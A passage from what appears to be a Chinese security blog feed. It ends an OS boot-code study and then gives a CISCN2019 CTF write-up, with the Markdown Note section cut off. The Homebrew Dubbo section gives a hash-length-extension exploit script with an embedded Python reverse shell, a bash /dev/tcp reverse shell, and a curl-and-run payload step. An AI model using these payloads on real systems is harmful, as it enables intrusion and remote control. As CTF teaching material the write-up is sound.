class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">! then we load the <span class="meta">segment</span> descriptors</span><br><span class="line"></span><br><span class="line"><span class="symbol">end_move:</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#SETUPSEG! right, forgot this <span class="meta">at</span> first. didn<span class="string">'t work :-)</span></span><br><span class="line"><span class="string">movds,ax</span></span><br><span class="line"><span class="string">lidtidt_48! load idt with 0,0</span></span><br><span class="line"><span class="string">lgdtgdt_48! load gdt with whatever appropriate</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="string">gdt:</span></span><br><span class="line"><span class="string">.word0,0,0,0! dummy 第一个描述符不用</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">! 内核代码段选择符</span></span><br><span class="line"><span class="string">.word0x07FF! 8Mb - limit=2047 (2048*4096=8Mb)</span></span><br><span class="line"><span class="string">.word0x0000! base address=0</span></span><br><span class="line"><span class="string">.word0x9A00! code read/exec</span></span><br><span class="line"><span class="string">.word0x00C0! granularity=4096, 386</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">! 内核数据段选择符</span></span><br><span class="line"><span class="string">.word0x07FF! 8Mb - limit=2047 (2048*4096=8Mb)</span></span><br><span class="line"><span class="string">.word0x0000! base address=0</span></span><br><span class="line"><span class="string">.word0x9200! data read/write</span></span><br><span class="line"><span class="string">.word0x00C0! granularity=4096, 386</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">idt_48!这个时候的idt还是个空表</span></span><br><span class="line"><span class="string">.word0! idt limit=0</span></span><br><span class="line"><span class="string">.word0,0! idt base=0L</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">gdt_48:</span></span><br><span class="line"><span class="string">.word0x800! gdt limit=2048, 256 GDT entries</span></span><br><span class="line"><span class="string">.word512+gdt,0x9! gdt base = 0X9xxxx</span></span><br></pre></td></tr></table></figure><ul><li>进入保护模式,和<code>1MB</code>的寻址说再见</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">! Well, now<span class="string">'s the time to actually move into protected mode. To make</span></span><br><span class="line"><span class="string">! things as simple as possible, we do no register set-up or anything,</span></span><br><span class="line"><span class="string">! we let the gnu-compiled 32-bit programs do that. We just jump to</span></span><br><span class="line"><span class="string">! absolute address 0x00000, in 32-bit protected mode.</span></span><br><span class="line"><span class="string">! 下面这两句会将cr0寄存器的第0位设为1,启动保护模式</span></span><br><span class="line"><span class="string">movax,#0x0001! protected mode (PE) bit</span></span><br><span class="line"><span class="string">lmswax! This is it!</span></span><br><span class="line"><span class="string">! 0是偏移,8是gdt表项的第8个字节,也就是内核代码段选择符。合起来会跳到0x0000执行system模块</span></span><br><span class="line"><span class="string">jmpi0,8! jmp offset 0 of segment 8 (cs)</span></span><br></pre></td></tr></table></figure><p>这个<code>0x0000</code>是咋算的呢…保护模式寻址的玩法是<code>根据cs查gdt表+ip</code></p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">! 内核代码段选择符</span><br><span class="line"><span class="meta">.word</span><span class="number">0x07FF</span>! 8Mb - limit=<span class="number">2047</span> (<span class="number">2048</span>*<span class="number">4096</span>=8Mb)</span><br><span class="line"><span class="meta">.word</span><span class="number">0x0000</span>! base address=<span class="number">0</span></span><br><span class="line"><span class="meta">.word</span><span class="number">0x9A00</span>! code read/exec</span><br><span class="line"><span class="meta">.word</span><span class="number">0x00C0</span>! granularity=<span class="number">4096</span>, <span class="number">386</span></span><br></pre></td></tr></table></figure><p><img src="/images/GDT.JPG" alt=""></p><p>把段基址的三个部分合起来就是<code>0x00000000</code>,<code>ip</code>代表的偏移还是<code>0x0</code>,<code>0x00000000+0x0</code>合起来还是0地址,也就是<code>system</code>模块的起始代码<code>head.s</code></p><h1 id="boot-head-s"><a href="#boot-head-s" class="headerlink" title="boot/head.s"></a>boot/head.s</h1><ul><li><p>前面<code>setup</code>似乎做了一些初始化的工作,但实际上还有很多事情没做,比如<code>idt</code>表还是空的。因此需要<code>head</code>来做一些进入操作系统后的初始化工作</p></li><li><p><code>head.s</code>工作在保护模式之下,所以换成了32位的<code>AT&T</code>语法</p></li></ul>]]></content>
<summary type="html">
<ul>
<li><p><a href="https://www.icourse163.org/course/HIT-1002531008" target="_blank" rel="noopener">哈工大操作系统</a></p>
</li>
<li><p>《linux0.1
</summary>
<category term="操作系统" scheme="https://liotree.github.io/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
<category term="操作系统" scheme="https://liotree.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
</entry>
<entry>
<title>CISCN2019 总决赛复现</title>
<link href="https://liotree.github.io/2020/08/17/CISCN2019-%E6%80%BB%E5%86%B3%E8%B5%9B%E5%A4%8D%E7%8E%B0/"/>
<id>https://liotree.github.io/2020/08/17/CISCN2019-%E6%80%BB%E5%86%B3%E8%B5%9B%E5%A4%8D%E7%8E%B0/</id>
<published>2020-08-17T11:37:58.000Z</published>
<updated>2020-08-19T10:21:33.000Z</updated>
<content type="html"><![CDATA[<p>去年直接就地爆炸,一年过去了还是没啥区别…</p><h1 id="Homebrew-Dubbo"><a href="#Homebrew-Dubbo" class="headerlink" title="Homebrew Dubbo"></a>Homebrew Dubbo</h1><p>一个网盘的功能,上传文件会返回一个token,比如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eyJzaWduIjoiWlRsaFptVmpZakUxTkRBeU5ERmtaV0ZqTlRrNE5HTXhORFF3TjJObE5UQT0iLCJpZCI6IllUWmxNREE1TW1VdE9EWTFOQzAwWVdZM0xUZzFZVFl0TjJKak9ETXhORFZsTTJJeSJ9</span><br></pre></td></tr></table></figure><p>base64解码为</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"sign"</span>:<span class="string">"ZTlhZmVjYjE1NDAyNDFkZWFjNTk4NGMxNDQwN2NlNTA="</span>,<span class="attr">"id"</span>:<span class="string">"YTZlMDA5MmUtODY1NC00YWY3LTg1YTYtN2JjODMxNDVlM2Iy"</span>}</span><br></pre></td></tr></table></figure><p>可以看到分为<code>sign</code>和<code>id</code>两部分,使用token可以下载上传的文件</p><h2 id="信息泄露得到源码"><a href="#信息泄露得到源码" class="headerlink" title="信息泄露得到源码"></a>信息泄露得到源码</h2><p>没啥思路,可以先做下信息搜集</p><p>在<code>/static/js/app.4d269ccff489d8a081d1.js</code>里有一个注释</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//# sourceMappingURL=app.4d269ccff489d8a081d1.js.map</span></span><br></pre></td></tr></table></figure><p>下载<code>/static/js/app.4d269ccff489d8a081d1.js.map</code>,用<a href="https://github.com/GerbenJavado/LinkFinder" target="_blank" rel="noopener">LinkFinder</a>找到一个接口</p><p><img src="/images/%E6%8E%A5%E5%8F%A3.JPG" alt=""></p><p>访问<code>/api/upload/list</code>发现列出了存在的<code>token</code></p><p><img src="/images/upload_list.JPG" alt=""></p><p>使用第一个token可以下载得到源码</p><h2 id="哈希拓展攻击命令执行"><a href="#哈希拓展攻击命令执行" class="headerlink" title="哈希拓展攻击命令执行"></a>哈希拓展攻击命令执行</h2><p>审计下代码发现是一个java微服务的架构</p><p><img src="/images/Homebrew_Dubbo.JPG" alt=""></p><p>在<code>in.zhaoj.homebrew_dubbo.storage_provider.service.Impl.StorageServiceImpl</code>的<code>readFile</code>方法可以发现可控的命令执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> HashMap<String, Object> <span class="title">readFile</span><span class="params">(HashMap<String, Object> parameter)</span> </span>{</span><br><span class="line"> HashMap<String, Object> returnHashMap = <span class="keyword">new</span> HashMap<>();</span><br><span class="line"></span><br><span class="line"> String id = ((String)(parameter.get(<span class="string">"id"</span>)));</span><br><span class="line"> String dictName = String.valueOf(UUID.randomUUID());</span><br><span class="line"></span><br><span class="line"> shellUtil.exec(<span class="string">"cd "</span> + uploadFolder + <span class="string">" && unzip "</span> + id + <span class="string">".zip -d "</span> + tmpPath + <span class="string">"/"</span> + dictName + <span class="string">"/"</span>);</span><br><span class="line"></span><br><span class="line"> List<String> result = <span class="keyword">new</span> ArrayList<>();</span><br><span class="line"> fileUtil.list(<span class="keyword">new</span> File(tmpPath + <span class="string">"/"</span> + dictName + <span class="string">"/"</span>), result);</span><br><span class="line"> String[] fileNames = result.get(<span class="number">0</span>).split(<span class="string">"/"</span>);</span><br><span class="line"> returnHashMap.put(<span class="string">"filename"</span>, fileNames[fileNames.length - <span class="number">1</span>]);</span><br><span class="line"> returnHashMap.put(<span class="string">"dictname"</span>, dictName);</span><br><span class="line"> returnHashMap.put(<span class="string">"size"</span>, <span class="keyword">new</span> File(tmpPath + <span class="string">"/"</span> + dictName + <span class="string">"/"</span> + fileNames[fileNames.length - <span class="number">1</span>]).length());</span><br><span class="line"> returnHashMap.put(<span class="string">"url"</span>, <span class="string">"http://"</span> + host + <span class="string">":"</span> + port + <span class="string">"/"</span> + staticAccessPath.replace(<span class="string">"**"</span>, <span class="string">""</span>) + <span class="string">"/"</span> + dictName + <span class="string">"/"</span> + fileNames[fileNames.length - <span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"> shellUtil.exec( <span class="string">"rm -rf "</span> + uploadFolder + <span class="string">"/"</span> + dictName + <span class="string">"/"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> returnHashMap;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ShellUtil</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">exec</span><span class="params">(String shell)</span> </span>{</span><br><span class="line"> String result = <span class="string">""</span>;</span><br><span class="line"> Process process;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 避免文件名中的特殊字符导致命令出错</span></span><br><span class="line"> shell = shell.replace(<span class="string">"\u0000"</span>, <span class="string">""</span>);</span><br><span class="line"></span><br><span class="line"> process = Runtime.getRuntime().exec(<span class="keyword">new</span> String[]{<span class="string">"/bin/sh"</span>, <span class="string">"-c"</span>, shell});</span><br><span class="line"> process.waitFor();</span><br><span class="line"> BufferedReader read = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(process.getInputStream()));</span><br><span class="line"> String line = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">while</span> ((line = read.readLine()) != <span class="keyword">null</span>){</span><br><span class="line"> result+=line;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>不过首先要在前端消费者<code>frontend_consumer</code>那里绕过<code>token</code>的验证</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping</span>(value = <span class="string">""</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> ResponseEntity<Resource> <span class="title">download</span><span class="params">(@RequestParam String token)</span> <span class="keyword">throws</span> IllegalStateException </span>{</span><br><span class="line"> <span class="keyword">byte</span>[] id = fileSignUtil.verifyToken(token); <span class="comment">//会先对token进行验证</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(id == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> ResponseEntity.notFound().build();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> HashMap<String, Object> requestHashMap = <span class="keyword">new</span> HashMap<>();</span><br><span class="line"> requestHashMap.put(<span class="string">"id"</span>, <span class="keyword">new</span> String(id));</span><br><span class="line"></span><br><span class="line"> HashMap<String, Object> returnHashMap = <span class="keyword">this</span>.dubboCallUtil.callWithRetry(<span class="string">"in.zhaoj.homebrew_dubbo.storage_provider.service.StorageService"</span>, <span class="string">"readFile"</span>, requestHashMap);</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>验证方法是对<code>id</code>进行签名,看其是否与<code>token</code>相同。获取签名时可以哈希拓展攻击</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> String <span class="title">getSign</span><span class="params">(<span class="keyword">byte</span>[] filename)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> base64Util.encode(encrypt(arrayUnion(secretKey.getBytes(), filename)));</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashpumpy</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="comment"># 因为每次file.sign_key都会变,随意sign和id要换成自己的</span></span><br><span class="line">sign = <span class="string">"1b929a91319bcc3221e09fb3c78a4c80"</span></span><br><span class="line">id = <span class="string">"3221a5e3-f3b8-42b7-9e03-5a4f9439e1f8"</span></span><br><span class="line">cmd = <span class="string">''';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.64.30",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';'''</span></span><br><span class="line">sign,id = hashpumpy.hashpump(sign,id,cmd,<span class="number">32</span>)</span><br><span class="line">print(sign)</span><br><span class="line">print(id)</span><br><span class="line">token = <span class="string">b'{"sign":"'</span>+ base64.b64encode(sign.encode()) + <span class="string">b'","id":"'</span> + base64.b64encode(id) + <span class="string">b'"}'</span></span><br><span class="line">token = base64.b64encode(token)</span><br><span class="line">print(token)</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://5f27951f-6e8b-42b6-abe9-916b116ee976.node3.buuoj.cn/api/upload?token='</span></span><br><span class="line">requests.get(url=url+token.decode())</span><br></pre></td></tr></table></figure><p>这里用<code>/bin/bash</code>等方式死活弹不了shell,只有python3能成功</p><p>拿到shell后发现这里<code>/bin/sh</code>指向的是<code>dash</code>,常用的反弹shell方法里很多语法<code>dash</code>都不支持,目前也没有找到<code>dash</code>弹shell的方法…</p><p>替代办法是<code>/bin/bash -c 'bash -i >& /dev/tcp/174.0.64.3/8080 0>&1'</code></p><h2 id="伪造消费者得到flag"><a href="#伪造消费者得到flag" class="headerlink" title="伪造消费者得到flag"></a>伪造消费者得到flag</h2><p>此时的用户是java3,但flag只有java2用户才能读</p><p>用java2启动的服务是<code>flag_provider</code>,里面有方法可以读flag</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FlagServiceImpl</span> <span class="keyword">implements</span> <span class="title">FlagService</span> </span>{</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> HashMap<String, Object> <span class="title">getFlag</span><span class="params">(HashMap<String, Object> parameter)</span> </span>{</span><br><span class="line"> HashMap<String, Object> returnHashmap = <span class="keyword">new</span> HashMap<>();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> FileInputStream fis = <span class="keyword">new</span> FileInputStream(<span class="string">"/flag"</span>);</span><br><span class="line"> String data = IOUtils.toString(fis, <span class="string">"UTF-8"</span>);</span><br><span class="line"></span><br><span class="line"> returnHashmap.put(<span class="string">"flag"</span>, data);</span><br><span class="line"> <span class="keyword">return</span> returnHashmap;</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> <span class="keyword">return</span> returnHashmap;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>frontend_consumer</code>中并没有没有调用这个方法的地方,但我们可以伪造一个自己的<br><code>frontend_consumer</code>传上去运行,在里面远程调用<code>getFlag</code>方法</p><ul><li>首先修改没用的<code>/api/check</code>接口</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping</span>(<span class="string">"/api/check"</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CheckController</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> <span class="keyword">private</span> DubboCallUtil dubboCallUtil;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@GetMapping</span>(value = <span class="string">""</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> ResponseData <span class="title">show</span><span class="params">()</span> <span class="keyword">throws</span> IllegalStateException </span>{</span><br><span class="line"><span class="comment">// return new ResponseData(ResponseData.CODE_SUCCESS, dubboCallUtil.getAllNodes());</span></span><br><span class="line"> HashMap<String,Object> parameter = <span class="keyword">new</span> HashMap<>();</span><br><span class="line"> HashMap<String, Object> returnHashMap = <span class="keyword">this</span>.dubboCallUtil.callWithRetry(<span class="string">"in.zhaoj.homebrew_dubbo.flag_provider.service.FlagService"</span>, <span class="string">"getFlag"</span>, parameter);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ResponseData(ResponseData.CODE_SUCCESS,returnHashMap);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>在<code>application-prod.properties</code>中修改监听的端口</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">server.address=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="comment">#server.port=8080</span></span><br><span class="line">server.port=<span class="number">1234</span></span><br></pre></td></tr></table></figure><ul><li>构建jar包</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn clean package</span><br></pre></td></tr></table></figure><ul><li>利用反弹shell把jar包下到靶机上,然后运行</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl http://174.0.64.30:5000/frontend_consumer.jar -o frontend_consumer.jar</span><br><span class="line">nohup java -jar frontend_consumer.jar > nohup.txt &</span><br></pre></td></tr></table></figure><ul><li>访问伪造的<code>frontend_consumer</code>的<code>/api/check</code>接口得到flag</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://127.0.0.1:1234/api/check</span><br></pre></td></tr></table></figure><p><img src="/images/get_flag.JPG" alt=""></p><p>赵总nb!</p><h1 id="Markdown-Note"><a href="#Markdown-Note" class="headerlink" title="Markdown Note"></a>Markdown Note</h1><p>传说中的<del>web</del> re</p><p>思路很明确,从<code>pmarkdown.so</code>这个php拓展里找一个ssrf然后文件上传</p><p>可以先看看evoa师傅的文章学习下php拓展的基础知识:</p><ul><li><p><a href="https://evoa.me/archives/10/" target="_blank" rel="noopener">PHP 拓展学习 & 逆向拓展So文件 (一)</a></p></li><li><p><a href="https://evoa.me/archives/11/" target="_blank" rel="noopener">PHP 拓展学习 & 逆向拓展So文件 (二)</a></p></li></ul><h2 id="ida初步分析"><a href="#ida初步分析" class="headerlink" title="ida初步分析"></a>ida初步分析</h2><h3 id="pmark-include"><a href="#pmark-include" class="headerlink" title="pmark_include"></a>pmark_include</h3><p><code>post.php</code>里调用了一个<code>pmark_include</code>来渲染markdown文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pmark_include(<span class="string">'posts/'</span>.$_GET[<span class="string">'md'</span>]);</span><br></pre></td></tr></table></figure><p>在<code>pmarkdown.so</code>的导出函数中可以找到<code>pmark_include</code>(拓展中叫做<code>zif_pmark_include</code>)</p><p><img src="/images/pmarkdown_export.JPG" alt=""></p><p>跟进去看一下,最终跟到<code>verbose_pandoc_file</code>函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">verbose_pandoc_file</span><span class="params">(<span class="keyword">char</span> *filename)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">__pid_t</span> v1; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">__pid_t</span> v2; <span class="comment">// er12</span></span><br><span class="line"> <span class="keyword">int</span> fd[<span class="number">2</span>]; <span class="comment">// [rsp+8h] [rbp-2830h]</span></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">10240</span>]; <span class="comment">// [rsp+10h] [rbp-2828h]</span></span><br><span class="line"> <span class="keyword">unsigned</span> __int64 v6; <span class="comment">// [rsp+2818h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line"> v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">0x2800</span>uLL);</span><br><span class="line"> <span class="keyword">if</span> ( pipe(fd) < <span class="number">0</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> v1 = fork();</span><br><span class="line"> v2 = v1;</span><br><span class="line"> <span class="keyword">if</span> ( v1 < <span class="number">0</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( !v1 )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">close</span>(fd[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">if</span> ( fd[<span class="number">1</span>] == <span class="number">1</span> )</span><br><span class="line"> <span class="keyword">return</span> -(execl(path, <span class="string">"pandoc"</span>, filename, <span class="number">0L</span>L) == <span class="number">-1</span>);</span><br><span class="line"> <span class="keyword">if</span> ( dup2(fd[<span class="number">1</span>], <span class="number">1</span>) == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">close</span>(fd[<span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">return</span> -(execl(path, <span class="string">"pandoc"</span>, filename, <span class="number">0L</span>L) == <span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">close</span>(fd[<span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">while</span> ( (<span class="keyword">signed</span> <span class="keyword">int</span>)<span class="built_in">read</span>(fd[<span class="number">0</span>], buf, <span class="number">0x2800</span>uLL) > <span class="number">0</span> )</span><br><span class="line"> {</span><br><span class="line"> php_printf(<span class="string">"%s"</span>, buf);</span><br><span class="line"> <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">0x2800</span>uLL);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">close</span>(fd[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">return</span> -(waitpid(v2, <span class="number">0L</span>L, <span class="number">0</span>) > <span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里用<code>execl</code>函数来调用<code>pandoc</code>渲染markdown文件,并不存在命令注入</p><h3 id="zm-activate-pmarkdown"><a href="#zm-activate-pmarkdown" class="headerlink" title="zm_activate_pmarkdown"></a>zm_activate_pmarkdown</h3><p>php拓展中的<code>PHP_RINIT_FUNCTION</code>函数(宏展开后实际上是<code>zm_activate_##module(...){...}</code>)会在请求到来时执行,很可能藏有一些东西</p><ul><li>在ida的Exports中找到<code>pmarkdown_module_entry</code>,在里面可以找到<code>zm_activate_pmarkdown</code>函数</li></ul><p><img src="/images/zm_activate_pmarkdown.JPG" alt=""></p><ul><li>在<code>zm_activate_pmarkdown</code>底部调用了一个<code>unk_1850</code></li></ul><p><img src="/images/post_debug.JPG" alt=""></p><ul><li>跟进<code>unk_1850</code>函数就可以找到ssrf,并且通过<code>path</code>可以CRLF注入构造文件上传的包</li></ul><p><img src="/images/pmarkdown_ssrf.JPG" alt=""></p><p>那么接下来的问题就是如何才能控制<code>path</code>。回过头来再看<code>zm_activate_pmarkdown</code>底部的代码</p><ul><li>修改了变量名并添加了一些注释的c代码</li></ul><p><img src="/images/post_debug2.JPG" alt=""></p><ul><li>对应的汇编:</li></ul><p><img src="/images/post_debug3.JPG" alt=""></p><p><code>zend_hash_find</code>用于获取一个哈希表中的键值,其第一个参数为指向<code>HashTable</code>的指针,第二个参数为一个<code>zend_string</code>。可以看出:</p><ul><li><p><code>key</code>的内容是<code>'debug'</code></p></li><li><p><code>ht</code>是通过<code>core_globals</code>加偏移获得。<code>core_globals</code>是php中的一个结构体,因此<code>ht</code>可能是其中的某个成员</p></li></ul><p>具体是哪个成员呢…直接用偏移地址和<code>core_globals</code>成员大小去算感觉很麻烦,还是gdb动调去看一看</p><h2 id="调试环境搭建"><a href="#调试环境搭建" class="headerlink" title="调试环境搭建"></a>调试环境搭建</h2><p>使用的调试方法来自<a href="https://www.anquanke.com/post/id/204404#h2-5" target="_blank" rel="noopener">WEBPWN入门级调试讲解</a>,通过php cli进行调试</p><ul><li>在php cli的php.ini中添加<code>pmarkdown.so</code></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">extension = <span 